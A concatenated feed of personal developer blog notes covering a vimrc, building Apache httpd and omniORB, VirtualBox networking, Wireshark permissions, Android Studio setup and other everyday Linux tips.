set showmatch "show matching braces
"stop highlight after searching
nnoremap <silent> <leader><space> :noh<cr>
"=== Mics
cmap w!! w !sudo tee > /dev/null % "help save when open file without root
"=== Key mapping
nnoremap <leader>ev :tabedit ~/.vim/vimrc<cr> :tabm<cr>
nnoremap <leader>sv :source ~/.vim/vimrc<cr>
inoremap jk <esc>
inoremap <Up> <NOP>
inoremap <Down> <NOP>
inoremap <Left> <NOP>
inoremap <Right> <NOP>
noremap <Up> <NOP>
noremap <Down> <NOP>
noremap <Left> <NOP>
noremap <Right> <NOP>
noremap s <NOP>
" window movement
nnoremap <c-j> <c-w>j
nnoremap <c-k> <c-w>k
nnoremap <c-h> <c-w>h
nnoremap <c-l> <c-w>l
" open new split panes to right and bottom, which feels more natural
set splitbelow
set splitright
" tab movement
noremap <c-t> :tabnew<cr>
noremap <F7> :tabp<cr>
noremap <F8> :tabn<cr>
noremap <leader>to :tabnew<cr>
noremap <leader>tp :tabp<cr>
noremap <leader>tn :tabn<cr>
noremap <leader>tc :tabclose<cr>
"=== Plugin map
if executable('ag')
"use Ag over grep, note we extract the column as well as the file and line number
set grepprg=ag\ --nogroup\ --nocolor\ --column
"set grepformat=%f:%l:%c%m
"use Ag in ctrlP for listing files
let g:ctrlp_user_command = 'ag %s -l --nocolor -g ""'
"not need cache ctrlp
let g:ctrlp_use_caching = 0
endif
let g:ctrlp_max_height = 16
"nnoremap <leader>p :CtrlP<cr>
nnoremap <leader>f :Ag "
nnoremap <leader>bf :AgBuffer "
" bind to grep word under cursor
nnoremap <leader>k :grep! "\b<c-r><c-w>\b"<cr>:cw<cr>
" quick fix window movement
nnoremap <leader>co :copen<cr>
nnoremap <leader>cn :cn<cr>
nnoremap <leader>cp :cp<cr>
nnoremap <leader>cc :ccl<cr>
nnoremap <F3> :cp<cr>
nnoremap <F4> :cn<cr>
" ignore pattern
set wildignore +=*.o,*/tmp/*,*.so,*.swp,*.zip,.git*
"""EOF"""
</code></pre></div></div>
Learn Japanese2016-03-12T00:00:00+00:00http://memto.github.io/misc/2016/03/12/learn-japanese<h3 id="tutor">Tutor</h3>
<p>https://www.youtube.com/watch?v=z1jcPqifZUs&list=PLk1D69_vRPmOybtwJFSF85P2PFPDeMRSU&index=2</p>
<ul>
<li>Why?</li>
<li>Purpose?</li>
<li>Target?</li>
</ul>
<h4 id="step">Step</h4>
<p><img src="/downloads/draw-hidden/japanesestep.png" alt="japanese step" /></p>
<h5 id="for-basic-level">For basic level:</h5>
<ul>
<li>
<p>Japanese tone: listen to japanese song, watch jp movie…</p>
</li>
<li>
<p>Hiragana + katakana alphabet:</p>
</li>
</ul>
<p>###
Material: japanese for young people (https://drive.google.com/file/d/0B_eJqsLvpS_MZUFRdnBObUpqdUU/view?pref=2&pli=1)
Video: https://www.youtube.com/watch?v=z1jcPqifZUs&list=PLk1D69_vRPmOybtwJFSF85P2PFPDeMRSU&index=2</p>
<ul>
<li>
<p>Pronunciation basic level: https://www.youtube.com/playlist?list=PLk1D69_vRPmMGVvCnHXYNoI0paoMVEsfG</p>
</li>
<li>
<p>Chinese character (KANJI)</p>
</li>
</ul>
<p>###
Page: https://www.facebook.com/hockanjihieuquacosmos
KANJI step: https://www.facebook.com/hockanjihieuquacosmos/posts/858150460929472
KANJI Overview: https://www.youtube.com/playlist?list=PLk1D69_vRPmOY4yT3phHcCYdU1cX6eo4Y
Learn word and meaning:
- https://www.facebook.com/notes/h%E1%BB%8Dc-kanji-c%C3%B9ng-ti%E1%BA%BFng-nh%E1%BA%ADt-cosmos/c%C3%A1ch-h%E1%BB%8Dc-kanji-m%C3%A0-m%C3%ACnh-bi%E1%BA%BFt-n%E1%BA%BFu-hay-th%C3%AC-share-nh%C3%A9/896779377066580
- http://hoctiengnhatcosmos.com/hoc-kanji-look-and-learn-qua-hinh-anh/</p>
Linux Scheduling2016-01-21T00:00:00+00:00http://memto.github.io/linux/2016/01/21/linux-scheduling<h5 id="ref">Ref:</h5>
<ul>
<li><a href="http://stackoverflow.com/questions/15601155/does-linux-schedule-a-process-or-a-thread">Does linux schedule a process or a thread?</a></li>
<li><a href="http://www.ibm.com/developerworks/library/l-completely-fair-scheduler">Inside the Linux 2.6 Completely Fair Scheduler</a></li>
<li><a href="https://tampub.uta.fi/bitstream/handle/10024/96864/GRADU-1428493916.pdf?sequence=1">A complete guide to Linux process scheduling</a></li>
</ul>
Build And Install Apache-Httpd2016-01-17T00:00:00+00:00http://memto.github.io/linux/tooltips/2016/01/17/build-and-intall-apache-httpd<h4 id="ref">Ref:</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://httpd.apache.org/docs/2.4/install.html#overview
</code></pre></div></div>
<h5 id="my-environment">My environment</h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ pwd
/home/dvn000/http
$ ls
httpd-2.4.18 httpd-2.4.18.tar.gz
$ cd httpd-2.4.18
$ mkdir prefix
$ ./configure --prefix=/home/dvn000/http/httpd-2.4.18/prefix/
</code></pre></div></div>
<h5 id="configure-error-apr-not-found--please-read-the-documentation">configure: error: APR not found. Please read the documentation.</h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Download apr and apr-ultil into srclib
$ ls srclib/
apr-1.5.2.tar.gz apr-util-1.5.4.tar.gz Makefile.in
$ cd srclib
$ tar -xzvf srclib/apr-1.5.2.tar.gz
$ mv apr-1.5.2 apr
$ tar -xzvf apr-util-1.5.4.tar.gz
$ mv apr-util-1.5.4 apr-util
# add --with-included-apr option to ./configure apache
$ ./configure --with-included-apr --prefix=/home/dvn000/http/httpd-2.4.18/prefix/
</code></pre></div></div>
<h5 id="configure-error-pcre-config-for-libpcre-not-found-pcre-is-required-and-available-from-httppcreorg">configure: error: pcre-config for libpcre not found. PCRE is required and available from http://pcre.org/</h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Download pcre and install
$ tar -xzvf pcre-8.38.tar.gz
$ cd pcre-8.38
$ mkdir prefix
$ ./configure --prefix=/home/dvn000/http/httpd-2.4.18/pcre-8.38/prefix
$ make; make install
# add --with-pcre to ./configure apache
$ ./configure --with-included-apr --with-pcre=/home/dvn000/http/httpd-2.4.18/pcre-8.38/prefix --prefix=/home/dvn000/http/httpd-2.4.18/prefix/
$ make; make install
$ cd prefix
$ ls
bin build cgi-bin conf error htdocs icons include lib logs man manual modules
</code></pre></div></div>
<h5 id="start-httpd">Start httpd</h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo ./bin/apachectl -k start
</code></pre></div></div>
<p>AH00558: httpd: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to suppress this message</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Edit ./conf/httpd.conf
ServerName localhost
$ sudo ./bin/apachectl -k restart
</code></pre></div></div>
<p>Now go to browser, enter localhost into linkbar and see <em>It works!</em></p>
<h5 id="qa">Q/A</h5>
<p>What is apache MPM (Multi-Processing Modules)
http://www.vps.net/blog/2013/04/08/apache-mpms-prefork-worker-and-event/#.Vpzw3V4vDH4</p>
Add Rename Tab Shortcut Gnome Connection Manager2016-01-15T00:00:00+00:00http://memto.github.io/tooltips/2016/01/15/add-rename-tab-shortcut-gcm<h4 id="ref">Ref:</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://kuthulu.com/gcm/
</code></pre></div></div>
<p>Gnome Connection Manager is a good utility for you to connect to remote host using SSH. In my usage, I see that It would be nice if we have a shortcut to rename tab when you have multiple tab open. To do that I have added some code here</p>
<p>On my system, gnome-connection-manager is intalled into /usr/share/gnome-connection-manager/gnome_connection_manager.py. So let open it and add some code as below:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Step1: add _RENAME_TAB var right after _CONNECT at line 246
_CONSOLE_RECONNECT = ["console_reconnect"]
_CONNECT = ["connect"]
_RENAME_TAB = ["rename_tab"]
Step2: add _RENAME_TAB to shortcuts table also after code for _CONNECT at line 1322
try:
scuts[cp.get("shortcuts", "rename_tab")] = _RENAME_TAB
except:
scuts["CTRL+T"] = _RENAME_TAB
Here I use CTRL+T becase CTRL+R are used for search history command in linux (you can remember it with Tab or Title)
Step3: Add code to handle _RENAME_TAB also after code for _CONNECT at line 586
elif cmd == _CONNECT:
self.on_btnConnect_clicked(None)
elif cmd == _RENAME_TAB:
curLabel = wMain.nbConsole.get_tab_label(widget.get_parent()).label
curTitle = curLabel.get_text().strip()
text = inputbox(_('Renombrar consola'), _('Ingrese nuevo nombre'), curTitle)
if text != None and text != '':
curLabel.set_text(" %s " % (text))
</code></pre></div></div>
<p>Now you can re-run gcm and press CTRL+T to rename tab</p>
Setup Virtualbox Network2016-01-13T00:00:00+00:00http://memto.github.io/linux/tooltips/2016/01/13/setup-virtualbox-network<h4 id="ref">Ref:</h4>
<blockquote>
<p>http://bertvv.github.io/notes-to-self/2015/09/29/virtualbox-networking-an-overview/ <br />
https://www.thomas-krenn.com/en/wiki/Network_Configuration_in_VirtualBox#Host-only_Networking <br /></p>
</blockquote>
<p>I already setup an ubuntu 14.04 guest in virtualbox, then clone two more of it.</p>
<p><img src="/downloads/draw-hidden/vb1.png" alt="vb1" class="center-img" /></p>
<h4 id="here-i-will-use-nat-mode-for-one-interfaceadapter-to-connect-internet-and-host-only-mode-for-another-to-setup-a-connect-between-host-and-guests">Here I will use NAT mode for one interface/adapter (to connect internet) and Host-only mode for another (to setup a connect between host and guests)</h4>
<p>To setup NAT mode just select the virtual machine > setting > network > Adapter 1 tab select NAT mode</p>
<p>Next we will apply Host-only mode to Adapter 2, to do that, first we have create a Host-only instance and then apply it to the virtual machine</p>
<p>Step1: File > Preferences > Network > Tab Host-only Networks > Add new host-only instance then edit it</p>
<p><img src="/downloads/draw-hidden/vb2.png" alt="vb2" class="center-img" />
<img src="/downloads/draw-hidden/vb3.png" alt="vb3" class="center-img" /></p>
<h6 id="with-this-setup-we-will-have">With this setup we will have:</h6>
<ul>
<li>IP address for the host: 192.168.56.1 (network mask 255.255.255.0)</li>
<li>DHCP-Server Address: 192.168.56.100</li>
<li>DHCP-Server Range: 192.168.56.101 - 192.168.56.254</li>
<li>The IP range which you can manually set for a guest systems: 192.168.56.2 - 192.168.56.99</li>
</ul>
<p>Step2: Now you can use that host-only instance for your virtualbox</p>
<p>From virtualbox select the virtual machine then click setting > choose Network</p>
<p><img src="/downloads/draw-hidden/vb40.png" alt="vb40" class="center-img" /></p>
<p>Start the virtual machine and set it an IP address</p>
<p><img src="/downloads/draw-hidden/vb4.png" alt="vb4" class="center-img" /></p>
<h4 id="now-we-can-ping-from-host-machine-to-this-virtualbox">Now we can ping from host machine to this virtualbox</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ping 192.168.56.2
PING 192.168.56.2 (192.168.56.2) 56(84) bytes of data.
64 bytes from 192.168.56.2: icmp_seq=1 ttl=64 time=1.91 ms
64 bytes from 192.168.56.2: icmp_seq=2 ttl=64 time=0.553 ms
</code></pre></div></div>
<h4 id="apply-same-to-other-virtual-machine-and-add-it-to-gnome-connection-manager">Apply same to other virtual machine and add it to gnome-connection-manager</h4>
<p><img src="/downloads/draw-hidden/vb5.png" alt="vb5" class="center-img" /></p>
<h4 id="change-ubuntu-to-text-mode-run-without-gui">Change ubuntu to text mode (run without gui)</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Ref: http://askubuntu.com/questions/174312/how-can-i-set-my-ubuntu-12-04-lts-to-boot-to-console-without-gui
Change (edit) in /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
To:
GRUB_CMDLINE_LINUX_DEFAULT="text"
Now you must update the grub configs:
sudo update-grub
And its done! After reboot, to start the gui just login and type:
startx
</code></pre></div></div>
Corba And OmniORB2016-01-13T00:00:00+00:00http://memto.github.io/program/2016/01/13/corba-and-omniORB<h4 id="ref">Ref:</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture
http://omniorb.sourceforge.net/docs.html
http://www.yolinux.com/TUTORIALS/CORBA.html
</code></pre></div></div>
<h4 id="what-is-the-corba">What is the CORBA?</h4>
<p>If you want to call a function from remote node (ex. run on other computer via network) or call a function which is implemented in different programming language, same as when you want to talk with person who say different language, you will need a middle man to help you can communicate. And the CORBA’s function here is the same as the middle man.</p>
<p><img src="/downloads/draw-hidden/CORBA-call-sequence.png" alt="corba-call-seq" /></p>
<p>As you can see from the above figure, you can think CORBA’s functions is same as a DNS server. You can register an Object to it then programs from remote node can come to it and ask for address of the Object, call a function on that Object which is exported via an interface that known by both side (IDL interface). Also same as there are many of middle man out three, there are several implementations of CORBA and omniORB is one of that implementations. In this post, I’ll show you how to install omniORB and run some example from the source code to see how it work from the action.</p>
<h4 id="download-and-install">Download and install</h4>
<p>You can download the omniORB from here:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://sourceforge.net/projects/omniorb/files/
</code></pre></div></div>
<p>Steps to install it are quite easy, cd to folder the source is downloaded into and run below commands</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ tar -xjvf omniORB-4.2.0.tar.bz2
$ cd omniORB-4.2.0/
$ ./configure
$ make -j4
$ sudo make install
</code></pre></div></div>
<p>Build examples from the source code</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cd src/examples/
$ make
</code></pre></div></div>
<p>To understand some terms and examples you should read this document</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://omniorb.sourceforge.net/omni42/omniORB/omniORB002.html
</code></pre></div></div>
<p>Run omniname which is omniORB’s middle man, this is my run_omniname9100.sh script you should read it and the document then modify some to have it runs on your system</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Ref: http://omniorb.sourceforge.net/omni42/omniNames.html
# run_omniname9100.sh
RUN_DIR=/home/msc/netxms/omninames/9100
rm -f $RUN_DIR/*.bak
rm -f $RUN_DIR/*.dat
rm -f $RUN_DIR/*.dat.log
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib
export OMNINAMES_LOGDIR=$RUN_DIR
cd /usr/local/bin
#./omniNames -ORBendPointPublish giop:tcp:192.168.1.210: -ORBtraceLevel 25 -start 9100 &
./omniNames -start 9100 &
</code></pre></div></div>
<h4 id="run-examples">Run examples:</h4>
<p>First, we have to setup an omni-config-file which specify the omniname’s address:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># omni_app.cfg
InitRef=NameService1=corbaloc:iiop:10.61.63.123:9100/NameService
#InitRef=NameService2=corbaloc:iiop:10.61.63.123:9200/NameService
#InitRef=NameService2=corbaloc:iiop:10.61.63.123:9100/NameService
#endPoint = giop:tcp:10.61.63.123:8000-10000
</code></pre></div></div>
<p>Then export it to our program (of course, you have to know the middle man’s address, right?)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export OMNIORB_CONFIG=/opt/mssng/oam/etc/omni_app.cfg
</code></pre></div></div>
<p>Show log when run app</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export ORBtraceLevel=25
</code></pre></div></div>
<p>Here I just copy echo.idl and eg3 from example and modify it for testing</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mkdir testomniORB; cd testomniORB
$ cp omniORB-4.2.0/idl/echo.idl
$ omniidl -bcxx echo.idl
$ g++ ex3_impl_mulinst.cc echoSK.cc -lomniORB4 -lomnithread -o ex3_impl_mulinst
$ g++ ex3_clt_mulinst.cc echoSK.cc -lomniORB4 -lomnithread -o ex3_clt_mulinst
</code></pre></div></div>
<script src="https://gist.github.com/ab8e4363b15395a68086.js"> </script>
Understanding ELF File Format and Program Loading2016-01-11T00:00:00+00:00http://memto.github.io/linux/program/2016/01/11/understanding-elf-and-program-loading<h4 id="ref">Ref:</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://www.skyfree.org/linux/references/ELF_Format.pdf
http://www.bottomupcs.com/representing_executables.html
</code></pre></div></div>
<p>Three main types of object file:</p>
<ul>
<li>
<p>A <em>relocation file</em></p>
</li>
<li>
<p>An <em>executable file</em></p>
</li>
<li>
<p>A <em>shared object file</em></p>
</li>
</ul>
<h4 id="file-format">File format</h4>
<p>Object files participate in program linking (building a program) and program execution (running a program). For convenience and efficiency, the object file format provides parallel views of a file’s contents, reflecting the differing needs of these activities.
<img src="/downloads/draw-hidden/obj-ff.png" alt="obj-file-format" /></p>
Gui Programming First Step2015-12-22T00:00:00+00:00http://memto.github.io/program/2015/12/22/gui-programming-first-step<h4 id="core-language-vs-gui-toolkit">Core Language vs GUI toolkit???</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://www.tldp.org/HOWTO/Programming-Languages-3.html
http://www.nairaland.com/1562329/hope-c-newbies-gui-toolkits
Extra:
1) yes, Win32 is an API for C, Win32 API is part of Windows Operating system.
2) yes, MFC is the wrapper for Win32 API to make GUI development easier.
3) yes, .NET is different from MFC and Win32 API as the code written in .NET languages is managed one ( means CLR is taking responsibility) but in Win32 and MFC it is unmanaged. you can also write unmanaged code in .NET.
C++ using .NET is called manged C++ and its different from C++ using MFC (unmanaged C++)
.NET CLR uses Win32 API (and may be some assembly code for performance improvement). in fact both MFC and .NET use Win32, like in this relationship
MFC --> Win32 --> Assembly Code
.NET --> Win32 --> Assembly Code
for further study , see links
http://www.go4expert.com/forums/showthread.php?t=2533 (Win32 vs MFC)
http://www.daniweb.com/forums/thread198090.html (MFC vs .NET)
</code></pre></div></div>
<p>Core Language: is the syntax and construct of a programming language itself such as: struct, class, pointer, loop, branch…</p>
<p>GUI toolkit: is a lib that provide API for developer to develop GUI apps on specific OS/System or cross-platform for specific programming language such as wxWidget/QT for C++; SWT/Swing for Java</p>
<h4 id="gui-programming-with-python">GUI programming with python</h4>
<p>As said above, we need a GUI toolkit to start build an GUI app. With python there are few of them exist such as: Tkinter, Kivy, PyQt, PyGUI, wxPython. After searching for awhile on the internet I decided to choose wxPython for my project</p>
<h6 id="install-wxpython-on-linux">Install wxPython on linux</h6>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt-get install python-wxgtk2.8 python-wxgtk2.8-dbg
</code></pre></div></div>
<h6 id="api-docs">API Docs</h6>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://xoomer.virgilio.it/infinity77/wxPython/index.html
</code></pre></div></div>
<h6 id="tutorial">Tutorial</h6>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://zetcode.com/wxpython/firststeps/
</code></pre></div></div>
Linux Network And Tool2015-12-14T00:00:00+00:00http://memto.github.io/linux/tooltips/2015/12/14/linux-network-and-tool<h4 id="ref">Ref:</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://www.tcpdump.org/tcpdump_man.html
http://www.cubrid.org/blog/dev-platform/understanding-tcp-ip-network-stack/
https://wiki.openwrt.org/doc/networking/praxis
http://bencane.com/2014/10/13/quick-and-practical-reference-for-tcpdump/
http://dillonhale.com/blog/linux-tutorials/tcpdump-primer/
</code></pre></div></div>
<h5 id="install-wireshark">Install wireshark</h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt-get install wireshark
</code></pre></div></div>
<p>Run wireshark
First, I run it as non-root and can see interface list to capture so I try to run it with sudo</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo wireshark &
Lua: Error during loading:
[string "/usr/share/wireshark/init.lua"]:46: dofile has been disabled due to running Wireshark as superuser. See http://wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in running Wireshark as an unprivileged user.
</code></pre></div></div>
Solve: Setting network privileges for dumpcap
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Ensure your linux kernel and filesystem supports File Capabilities and also you have
installed necessary tools.
2. sudo setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' /usr/bin/dumpcap
3. Start Wireshark as non-root and ensure you see the list of interfaces and can do
capture.
</code></pre></div></div>
<h5 id="install-tcpdump">Install tcpdump</h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt-get install tcpdump
</code></pre></div></div>
Android First Step2015-12-14T00:00:00+00:00http://memto.github.io/program/2015/12/14/android-first-step<h4 id="qa-">Q/A ????</h4>
<h5 id="android-studio-recognizes-physical-device-as-null">Android Studio recognizes physical Device as Null?</h5>
<p><img src="/downloads/draw-hidden/connect-adb-to-device1.png" alt="connect-adb-to-device1" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>have to set to connect as camera (even after usb debugging is already enabled)
</code></pre></div></div>
<p><img src="/downloads/draw-hidden/connect-adb-to-device.png" alt="connect-adb-to-device" /></p>
<p>(Src: http://stackoverflow.com/questions/25614067/android-studio-recognizes-physical-device-as-null<br />
http://www.techotopia.com/index.php/Testing_Android_Studio_Apps_on_a_Physical_Android_Device)</p>
<h6 id="why-this-line-xmlnsandroidhttpschemasandroidcomapkresandroid-must-be-the-first-in-the-layout-xml-file">Why this line xmlns:android=“http://schemas.android.com/apk/res/android” must be the first in the layout xml file?</h6>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xmlns: In XML, xmlns declares a Namespace.
</code></pre></div></div>
ldd Not Show Linked Libs (--no-as-needed)2015-12-09T00:00:00+00:00http://memto.github.io/linux/program/2015/12/09/ldd-not-show-linked-libs<p>Problem: gcc build links but shared library does not appear with ldd</p>
<p>Solved:</p>
<p>Most Linux distributions (I assume you are using Linux based on the output of ldd) seem to configure gcc as to pass –as-needed to ld by default (e.g., see here for Debian). This means the final library/executable will only depend on a library (i.e., have a DT_NEEDED tag for that library) if some symbol of that library is actually used by the library/executable.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-Wl</span>,--no-as-needed ...
</code></pre></div></div>
<p>Src:</p>
<ul>
<li>http://stackoverflow.com/questions/28088100/gcc-build-links-but-shared-library-does-not-appear-with-ldd</li>
</ul>
Android Dev Setup2015-12-09T00:00:00+00:00http://memto.github.io/program/2015/12/09/android-dev-setup<h4 id="download-and-install-jdk">Download and install JDK</h4>
<p>Download</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html
Select lastest version and download: jdk-7u79-linux-x64.tar.gz
</code></pre></div></div>
<p>Extract downloaded package into /opt/java</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tar -xzvf jdk-7u79-linux-x64.tar.gz -C /opt/java
</code></pre></div></div>
<p>Add jdk install dir to bashrc</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>export JDK_HOME=/opt/java/jdk1.7.0_79
export PATH=$JDK_HOME/bin:$PATH
</code></pre></div></div>
<h4 id="download-and-install-android-studio">Download and install Android Studio</h4>
<p>Download</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://developer.android.com/sdk/index.html
Select All Android Studio Packages: android-studio-ide-141.2456560-linux.zip
</code></pre></div></div>
<p>Extract downloaded package into work/android/tools</p>
<p>Add Android studion home into bashrc</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>export ANDROID_STUDIO_HOME=/home/dvn000/work/android/tools/android-studio
export PATH=$ANDROID_STUDIO_HOME/bin:$PATH Solve IBus issue
https://youtrack.jetbrains.com/issue/IDEA-78860
export IBUS_ENABLE_SYNC_MODE=1
</code></pre></div></div>
<p>Configuring VM Acceleration on Linux</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://blog.whitehorses.nl/2015/03/07/enabling-hardware-acceleration-for-android-sdk-emulator-on-linux/
http://developer.android.com/tools/devices/emulator.html#vm-linux
</code></pre></div></div>
<p>Adding SDK Packages</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://developer.android.com/sdk/installing/adding-packages.html
</code></pre></div></div>
<p>Run Android Studio
add alias to bash
alias androidstu=’studio.sh &’</p>
<h4 id="about-android-studio">About Android Studio</h4>
<p>Features:</p>
<ul>
<li>Gradle-based build support (Like Apache Ant on ADT, task is same as make with Makefile in linux).</li>
<li>Android-specific refactoring and quick fixes.</li>
<li>Lint tools to catch performance, usability, version compatibility and other problems.</li>
<li>ProGuard integration and app-signing capabilities.</li>
<li>Template-based wizards to create common Android designs and components.</li>
<li>A rich layout editor that allows users to drag-and-drop UI components, option to preview layouts on multiple screen configurations.</li>
<li>Support for building Android Wear apps</li>
<li>Built-in support for Google Cloud Platform, enabling integration with Google Cloud Messaging and App Engine.</li>
</ul>
<p>(Src: https://en.wikipedia.org/wiki/Android_Studio)</p>
<h4 id="qa-">Q/A ?????</h4>
<h5 id="android-version-vs-api-level">Android version vs API level?</h5>
<p><img src="/downloads/draw-hidden/adroidver-apilevel.png" alt="adroidver-apilevel" /></p>
<ul>
<li>API is for development (for developer), so the changes in new API level are more “inside”. But new version of Android usually adds more features for users, that are “visible” to user.</li>
<li>This page http://developer.android.com/guide/appendix/api-levels.html , there is a table that shows relations between versions and API levels.</li>
</ul>
<h5 id="android-vs-intel-vs-google-system-image">Android vs Intel vs Google System Image?</h5>
<p><img src="/downloads/draw-hidden/android-intel-google-emu.png" alt="android-intel-google-emu" /></p>
<ul>
<li>
<p>Android system image: In the beginning the only Android system images available ran on the ARM instruction set (for processor in real mobile). A system image is used to create different Android Virtual Devices (AVDs) and emulate the different Android devices in common use.</p>
</li>
<li>
<p>Intel system image: As developer workstations are usually Intel x86 based, the ARM instruction set had to be emulated as well. This resulted in poor performance from the AVDs due mainly to the amount of translation the x86 processor was doing to also emulate the ARM instruction set ==» At Android 4.0.3 (API 15) Intel provided their own x86 based Android system image. This could then be used to create AVDs that did not need to do ARM translation. Combined with the Intel Hardware Accelerated Execution Manager (HAXM) the x86 AVMs were up to 10 times faster than the equivalent ARM emulators.</p>
</li>
<li>
<p>Google API system image: Support for Google specific Android APIs like the Android Google maps API, are not provided with the standard Android system images. They need to be installed separately using the Android SDK Manager. To use these APIs with an x86 system image you need to also install the Google APIs (x86 System Image) for the same API level.</p>
</li>
</ul>
<p>==> Should use Google API Intel x86 Atom_64 (for 64bit workstation) or Google API Intel x86 (for 32bit workstation)</p>
Remap Key On Ubuntu2015-12-08T00:00:00+00:00http://memto.github.io/linux/tooltips/2015/12/08/remap-key-on-ubuntu<p>Remap CAPS_LOCK key to CTRL</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>vi /etc/default/keyboard
</code></pre></div></div>
<p>then find the line that starts with XKBOPTIONS, and add ctrl:nocaps to make Caps Lock an additional Control key or ctrl:swapcaps to swap Caps Lock and Control.</p>
<p>For example, mine looks like</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>XKBOPTIONS="lv3:ralt_alt,compose:menu,ctrl:nocaps"
</code></pre></div></div>
<p>then run</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>dpkg-reconfigure keyboard-configuration
</code></pre></div></div>
<p>The reason this way is better is that it will take effect on the virtual consoles (e.g. Ctrl+Alt+F1) as well as in the graphical desktop.</p>
<p>Ref:</p>
<ul>
<li>http://askubuntu.com/questions/149971/how-do-you-remap-a-key-to-the-caps-lock-key-in-xubuntu</li>
</ul>
What is Virtual TTY, PTY in Linux?2015-11-19T00:00:00+00:00http://memto.github.io/linux/2015/11/19/what-is-virtual-tty-pty<h4 id="ref">Ref:</h4>
<ul>
<li><a href="http://www.linusakesson.net/programming/tty/">The TTY demystified at linusakesson.net</a> <br /></li>
<li><a href="https://dvdhrm.wordpress.com/2013/08/24/how-vt-switching-works/">How VT-switching works at dvdhrm.wordpress.com</a> <br /></li>
</ul>
<h4 id="switch-between-virtual-terminals">Switch between Virtual Terminals</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Ctrl] + [Alt] + [Fn] key. [Fn] stands for F1 to F12 keys.
</code></pre></div></div>
<p>The same thing can be achieved by using a little command in Linux called chvt.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>chvt 7
</code></pre></div></div>
<p>And to return to the 1st virtual terminal, type:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>chvt 1
</code></pre></div></div>
<p>Suppose you have Imagemagick installed on your Linux machine and you wish to take a screenshot of your GUI while you are logged in at the console. Here is a simple way of doing it:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>chvt 7<span class="p">;</span> <span class="nb">sleep </span>2<span class="p">;</span> import <span class="nt">-display</span> :0.0 <span class="nt">-window</span> root screenshot-output.png<span class="p">;</span> chvt 1<span class="p">;</span>
</code></pre></div></div>
